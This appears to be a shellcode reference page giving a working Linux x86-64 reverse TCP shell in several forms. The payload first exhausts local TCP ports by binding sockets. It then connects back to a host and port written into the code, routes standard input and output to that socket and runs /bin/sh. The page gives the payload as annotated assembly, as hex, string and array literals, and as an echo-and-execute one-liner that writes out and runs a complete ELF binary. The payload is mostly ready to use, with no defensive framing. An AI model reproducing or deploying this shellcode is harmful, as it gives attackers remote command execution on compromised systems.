Linux Reverse TCP Shell and Exhausted TCP Ports
Table of Contents
Linux/x64
Assembly
xor rcx, rcx
push rcx
mov cx, 0xffff
push rcx
;// for(int i=0; i<0x10000; i++){ bind(socket(AF_INET, SOCK_STEAM, 6), &sockaddr, socklen); }
exhausted:
;// socket(AF_INET, SOCK_STEAM, 6);
push 0x2
pop rdi
push 0x1
pop rsi
push 0x6
pop rdx
push 0x29
pop rax
syscall
;// bind(sockfd, sockaddr, 0x10);
push rax
pop rdi
pop rcx
push rcx
shl rcx, 16
mov cl, 2
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x31
pop rax
syscall
pop rcx
pop rcx
dec rcx
pop rbx
test rax, rax
jne bind_fail
push rdi
pop rbx
bind_fail:
push rbx
test rcx, rcx
push rcx
jne exhausted
;// connect(sockfd, &sockaddr, socklen)
pop rax
pop rdi
push rax
mov byte ptr [rsp], 0x2
mov word ptr [rsp+2], 0x3713 ;// port 0x1337
mov dword ptr [rsp+4], 0x0100007f ;// addr 127.0.0.1
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall
push 0x3
pop rsi
dupio:
dec rsi
push 0x21
pop rax
syscall
jne dupio
shell:
xor rdx, rdx
movabs rbx,0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
push 0x3b
pop rax
syscall
Other formats:
Format | Value |
---|---|
Raw Hex | 4831C95166B9FFFF516A025F6A015E6A065A6A29580F05505F595148C1E110B102514889E66A105A6A31580F05595948FFC95B4885C07502575B534885C95175C8585F50C604240266C74424021337C74424047F0000014889E66A105A6A2A580F056A035E48FFCE6A21580F0575F64831D248BB2F2F62696E2F736848C1EB08534889E752574889E66A3B580F05 |
String Literal | \x48\x31\xC9\x51\x66\xB9\xFF\xFF\x51\x6A\x02\x5F\x6A\x01\x5E\x6A\x06\x5A\x6A\x29\x58\x0F\x05\x50\x5F\x59\x51\x48\xC1\xE1\x10\xB1\x02\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x59\x48\xFF\xC9\x5B\x48\x85\xC0\x75\x02\x57\x5B\x53\x48\x85\xC9\x51\x75\xC8\x58\x5F\x50\xC6\x04\x24\x02\x66\xC7\x44\x24\x02\x13\x37\xC7\x44\x24\x04\x7F\x00\x00\x01\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x6A\x03\x5E\x48\xFF\xCE\x6A\x21\x58\x0F\x05\x75\xF6\x48\x31\xD2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x52\x57\x48\x89\xE6\x6A\x3B\x58\x0F\x05 |
Array Literal | {0x48,0x31,0xC9,0x51,0x66,0xB9,0xFF,0xFF,0x51,0x6A,0x02,0x5F,0x6A,0x01,0x5E,0x6A,0x06,0x5A,0x6A,0x29,0x58,0x0F,0x05,0x50,0x5F,0x59,0x51,0x48,0xC1,0xE1,0x10,0xB1,0x02,0x51,0x48,0x89,0xE6,0x6A,0x10,0x5A,0x6A,0x31,0x58,0x0F,0x05,0x59,0x59,0x48,0xFF,0xC9,0x5B,0x48,0x85,0xC0,0x75,0x02,0x57,0x5B,0x53,0x48,0x85,0xC9,0x51,0x75,0xC8,0x58,0x5F,0x50,0xC6,0x04,0x24,0x02,0x66,0xC7,0x44,0x24,0x02,0x13,0x37,0xC7,0x44,0x24,0x04,0x7F,0x00,0x00,0x01,0x48,0x89,0xE6,0x6A,0x10,0x5A,0x6A,0x2A,0x58,0x0F,0x05,0x6A,0x03,0x5E,0x48,0xFF,0xCE,0x6A,0x21,0x58,0x0F,0x05,0x75,0xF6,0x48,0x31,0xD2,0x48,0xBB,0x2F,0x2F,0x62,0x69,0x6E,0x2F,0x73,0x68,0x48,0xC1,0xEB,0x08,0x53,0x48,0x89,0xE7,0x52,0x57,0x48,0x89,0xE6,0x6A,0x3B,0x58,0x0F,0x05} |
Shell Script | echo -en ' \x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x88\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x40\x00\x05\x00\x04\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x0e\x01\x00\x00\x00\x00\x00\x00\x0e\x01\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x31\xc9\x51\x66\xb9\xff\xff\x51\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x50\x5f\x59\x51\x48\xc1\xe1\x10\xb1\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x59\x59\x48\xff\xc9\x5b\x48\x85\xc0\x75\x02\x57\x5b\x53\x48\x85\xc9\x51\x75\xc8\x58\x5f\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x13\x37\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x01\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\xf1\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00\x01\x00\x89\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x01\x00\xba\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x01\x00\xe5\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x01\x00\xef\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x10\x00\x01\x00\x0e\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42\x00\x00\x00\x10\x00\x01\x00\x0e\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x10\x00\x01\x00\x10\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x62\x61\x64\x61\x73\x73\x2d\x6c\x69\x6e\x75\x78\x2d\x78\x36\x34\x2e\x61\x73\x6d\x00\x65\x78\x68\x61\x75\x73\x74\x65\x64\x00\x62\x69\x6e\x64\x5f\x66\x61\x69\x6c\x00\x64\x75\x70\x69\x6f\x00\x73\x68\x65\x6c\x6c\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x02\x00\x00\x00\x00\x00\x00\x4e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x02\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' > badass-linux-x64 && chmod +x badass-linux-x64 && ./badass-linux-x64 |
Linux/x86
Assembly
Coming soon...
Other formats:
Format | Value |
---|---|
Raw Hex | Coming soon… |
String Literal | Coming soon… |
Shell Script | Coming soon… |
References
- Linux/x86-64 - Reverse TCP shell - 118 bytes by Russell Willis
- Linux/x86-64 - TCP bind shell - 150 bytes by Russell Willis